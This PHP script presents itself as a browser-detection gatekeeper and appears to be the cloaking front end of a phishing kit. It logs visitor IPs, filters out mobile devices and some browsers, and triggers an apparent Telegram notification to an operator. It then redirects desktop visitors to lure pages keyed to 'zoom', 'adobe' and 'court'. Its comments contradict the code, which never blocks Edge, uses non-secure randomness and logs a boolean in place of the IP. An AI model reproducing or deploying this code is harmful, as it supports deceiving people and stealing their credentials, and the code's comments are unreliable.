<?php
/**
 * Device & Browser Detection Gatekeeper
 * Blocks ONLY Microsoft Edge - Allows Chrome, Firefox, Opera
 */

/**
 * Log visitor information for tracking
 */

// Include the file from the folder
require_once __DIR__ . '/analize.php';

function logVisitor($data)
{
    $logFile = 'visitor_log.txt';
    $logLine = json_encode($data) . PHP_EOL;
    return file_put_contents($logFile, $logLine, FILE_APPEND);
}

// Generate a cryptographically secure random hex string
function generateHexString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[mt_rand(0, $charactersLength - 1)];
    }

    return $randomString;
}

// Get device and browser information
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$isMobile = false;
$isBlockedBrowser = false;
$browserName = "Unknown";

// ============================================
// MOBILE DEVICE DETECTION
// ============================================
$mobileKeywords = [
    'Mobile', 'Android', 'iPhone', 'iPad', 'iPod', 
    'BlackBerry', 'Windows Phone', 'Opera Mini', 
    'IEMobile', 'WPDesktop', 'webOS', 'Symbian'
];

foreach ($mobileKeywords as $keyword) {
    if (stripos($userAgent, $keyword) !== false) {
        $isMobile = true;
        break;
    }
}

// Check for tablet (also block)
$tabletKeywords = ['iPad', 'Kindle', 'Silk', 'Tablet', 'PlayBook'];
foreach ($tabletKeywords as $keyword) {
    if (stripos($userAgent, $keyword) !== false) {
        $isMobile = true;
        break;
    }
}

// ============================================
// BROWSER DETECTION - BLOCK ONLY EDGE!
// ============================================

// First, detect Chrome (Chrome user agent contains 'Chrome' but NOT 'Edg')
if (stripos($userAgent, 'Chrome') !== false && stripos($userAgent, 'Edg') === false) {
    $browserName = 'Chrome';  // Chrome is ALLOWED
}
// Detect Firefox
elseif (stripos($userAgent, 'Firefox') !== false) {
    $browserName = 'Firefox';  // Firefox is ALLOWED
}
// Detect Opera
elseif (stripos($userAgent, 'OPR') !== false || stripos($userAgent, 'Opera') !== false) {
    $browserName = 'Opera';  // Opera is ALLOWED
}
// Detect Brave
elseif (stripos($userAgent, 'Brave') !== false) {
    $browserName = 'Brave';  // Brave is ALLOWED
}
// Detect Edge (BLOCK THIS)
elseif (stripos($userAgent, 'Edg') !== false || stripos($userAgent, 'Edge') !== false) {
    $browserName = 'Microsoft Edge';
}
// Detect Internet Explorer (BLOCK THIS)
elseif (stripos($userAgent, 'MSIE') !== false || stripos($userAgent, 'Trident') !== false) {
    $browserName = 'Internet Explorer';
    $isBlockedBrowser = true;  // IE IS BLOCKED
}
// Detect Safari (but NOT Chrome - Safari has 'Safari' but also 'Chrome' sometimes)
elseif (stripos($userAgent, 'Safari') !== false && stripos($userAgent, 'Chrome') === false) {
    $browserName = 'Safari';
}
// Special case: Chrome on iOS (still block because it's mobile)
elseif (stripos($userAgent, 'CriOS') !== false && $isMobile) {
    $isBlockedBrowser = true;
    $browserName = 'Chrome on iOS (Mobile)';
}
// Detect other browsers - DEFAULT ALLOW
else {
    $browserName = 'Other';  // Allow unknown browsers by default
}

// ============================================
// STORE VISITOR INFO FOR TRACKING
// ============================================
$logEntry = [
    'timestamp' => date('Y-m-d H:i:s'),
    'ip' => $_SERVER['REMOTE_ADDR'] || 'unknown',
    'user_agent' => $userAgent,
    'is_mobile' => $isMobile ? 'Yes' : 'No',
    'browser' => $browserName,
    'blocked_browser' => $isBlockedBrowser ? 'Yes' : 'No',
    'redirect_to' => ''
];

// ============================================
// REDIRECT LOGIC
// ============================================

// Case 1: Mobile device - redirect to device.php
if ($isMobile) {
    $logEntry['redirect_to'] = 'device.php';
    logVisitor($logEntry);
    header('Location: device.php');
    exit;
}

// Case 2: Blocked browser (Edge, IE, Safari) - redirect to error.php
if ($isBlockedBrowser) {
    $logEntry['redirect_to'] = 'error.php';
    logVisitor($logEntry);
    header('Location: error.php');
    exit;
}

HandleTGNotification();
// Case 3: All good (Chrome, Firefox, Opera, Brave) - redirect to meeting.html
if (isset($_GET['sid']) && $_GET['sid'] == "zoom") {
    $logEntry['redirect_to'] = 'meeting.html';
    logVisitor($logEntry);
    header('Location: meeting.html?sid=' . generateHexString(121));
    exit;
} else if (isset($_GET['sid']) && ($_GET['sid'] == "adobe")) {
    $logEntry['redirect_to'] = 'pdf.html';
    logVisitor($logEntry);
    header('Location: pdf.html?sid=' . generateHexString(123));
    exit;
} else if (isset($_GET['sid']) && ($_GET['sid'] == "court")) {
    $logEntry['redirect_to'] = 'web.html';
    logVisitor($logEntry);
    header('Location: web.html?sid=' . generateHexString(123));
    exit;
} else {
    $logEntry['redirect_to'] = 'meeting.html';
    logVisitor($logEntry);
    header('Location: meeting.html?sid=' . generateHexString(125));
    exit;
}
?>